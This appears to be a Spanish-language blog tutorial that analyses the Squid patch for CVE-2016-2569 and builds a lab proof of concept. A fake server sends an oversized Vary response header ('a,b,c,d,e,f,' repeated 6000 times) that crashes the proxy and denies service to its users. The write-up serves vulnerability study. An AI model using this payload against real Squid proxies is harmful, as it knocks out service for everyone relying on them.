
Squid 3.x anterior a 3.5.15 y 4.x anterior a 4.0.7 no agrega correctamente datos a objetos String, lo que permite que servidores remotos causen una denegación de servicio (fallo de aserción y salida del daemon) mediante una cadena larga, como se demuestra con una cabecera HTTP Vary manipulada.
Hola,
Gracias por leer mi primera entrada en el blog. Hoy vamos a crear un exploit para una de las herramientas de código abierto, el servidor proxy de caché Squid.
Squid es un proxy de caché para la Web que soporta HTTP, HTTPS, FTP y más. Reduce el ancho de banda y mejora los tiempos de respuesta al almacenar en caché y reutilizar páginas web solicitadas con frecuencia. Squid tiene amplios controles de acceso y es un excelente acelerador de servidores. Funciona en la mayoría de los sistemas operativos disponibles, incluido Windows, y está licenciado bajo GNU GPL. Puedes encontrar más información sobre el proxy de caché Squid en su sitio web oficial [http://www.squid-cache.org/]
Primero, espero que sepas qué es un CVE :p De todas formas, significa Vulnerabilidades y Exposiciones Comunes (Más información sobre CVE en [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
Podemos ver la siguiente información sobre CVE-2016-2569
Descripción: Squid 3.x anterior a 3.5.15 y 4.x anterior a 4.0.7 no añade correctamente datos a objetos String, lo que permite a servidores remotos causar una denegación de servicio (fallo de aserción y salida del demonio) mediante una cadena larga, como se demuestra con una cabecera HTTP Vary manipulada. Mathias Fischer de Open Systems AG reportó esta vulnerabilidad.
Como es un proyecto de código abierto, podemos ver el parche utilizado para mitigar esta vulnerabilidad. Basándonos en la descripción de la vulnerabilidad proporcionada, podemos confirmar que se trata de algún tipo de intento de desbordamiento. Continuaremos profundizando en el código fuente para investigar más a fondo.
El parche [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] confirma que se realizaron cambios en los siguientes archivos
Vamos a profundizar...
La diferencia de código para src/String.cc parece interesante ya que hace una aserción para la variable aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Basándonos en la diferencia de código anterior, podemos intentar explotar la vulnerabilidad proporcionando un valor para la cabecera Vary de más de 65536 bytes.
Comencemos creando nuestra configuración de exploit
Configuraremos el proxy de caché Squid en un sistema Linux (usaremos Xubuntu 16.04 LTS). El proxy de caché Squid almacena en caché las respuestas del servidor HTTP metanet y envía las respuestas al cliente desde la memoria caché en lugar de consultar al servidor para solicitudes similares.
Nuestra topología de red se vería algo como lo que se muestra a continuación (Perdón por ser tan anticuado con la topología, pero todavía estoy muy enamorado de VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Cliente |
| 192.168.56.102 | | Proxy de Caché | | 192.168.56.1 |
| Servidor HTTP | <---- | Puerto TCP 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Enviaremos consultas estándar a nuestro servidor HTTP nginx a través del proxy Squid y revisaremos los registros para verificar que la configuración funciona como se espera.
Para facilitarnos la vida, usaremos el siguiente script de Python para enviar la solicitud al servidor. Una cosa importante a tener en cuenta aquí es que las cabeceras utilizadas en la solicitud permiten que el servidor proxy almacene en caché la respuesta. Si los valores de las cabeceras de solicitud HTTP "If-Modified-Since", "max-age" y "cache-control" no son adecuados, la solicitud del cliente obligaría al servidor proxy a consultar al servidor para obtener respuestas. Esto anularía por completo el propósito del servidor proxy.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Podemos ver que el código Python anterior está configurando cabeceras, proxy y usando la biblioteca requests de Python para enviar la solicitud al servidor HTTP ubicado en 192.168.56.102. Una vez que tengamos la respuesta del servidor o del proxy, imprimimos las cabeceras. Especialmente estamos interesados en la cabecera de respuesta Vary enviada por el servidor HTTP o el servidor proxy.
Lo siguiente en nuestra configuración es configurar metanet (servidor HTTP). Usaremos metanet porque es fácil enviar diferentes cabeceras de respuesta HTTP. Como alternativa, podemos usar SimpleHTTPServer, que también permite enviar respuestas HTTP personalizadas.
Necesitamos preparar el archivo de configuración de metanet de tal manera que responda con la cabecera Vary junto con la cabecera necesaria que permita al proxy de caché Squid almacenar en caché respuestas similares en la memoria.
Nuestra configuración de metanet se vería algo así
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">La inteligencia artificial no es rival para la estupidez natural :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
¡Probemos para ver si nuestra configuración funciona!

Según nuestra configuración, todo parece estar en buen estado. ¡W00t w00t!
Intentemos explotar la vulnerabilidad (pasando un búfer de cadena larga junto con la cabecera de respuesta HTTP Vary). Esta es una simple explotación por desbordamiento. Según la diferencia de código, podemos ver que hay una aserción que definía que el valor de a_size no debía exceder 65536. Proporcionamos la longitud de la cabecera Vary para que sea algo así de larga.
Idealmente, no tenemos 65536 cabeceras de respuesta HTTP estándar (¡eso habría sido un desastre 😛); pero podemos inventar cabeceras. Lo único que importa en este caso es la longitud de la cadena pasada a la cabecera Vary.
Usemos Python para generar una cadena larga como python -c 'print "a,b,c,d,e,f," *6000'. Usaremos esta salida y modificaremos nuestra configuración de metanet como se muestra a continuación y probaremos nuestro exploit
Nuestra configuración de metanet se vería algo así
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">La inteligencia artificial no es rival para la estupidez natural :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<repetido 6000 veces>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Cuando enviamos nuestra primera solicitud al proxy, todo parece normal. El proxy no parece estar almacenando en caché las respuestas; tal vez debido a los valores que proporcionamos en el campo de la cabecera Vary. Las cabeceras de respuesta especificadas en la cabecera Vary se tienen en cuenta para calcular la suma md5 con el fin de verificar el contenido almacenado en caché.
Sigamos enviando múltiples solicitudes al proxy. Algo está mal aquí: el proxy no responde a nuestras solicitudes, ya que estamos obteniendo un "Proxy Error" de la biblioteca requests. De todas formas, continuemos enviando solicitudes.
Por desgracia. El proxy se detuvo debido a fallos frecuentes. Ningún dispositivo conectado al servidor a través del proxy podría acceder a nada. Esto es una Denegación de Servicio para todos los usuarios del proxy.
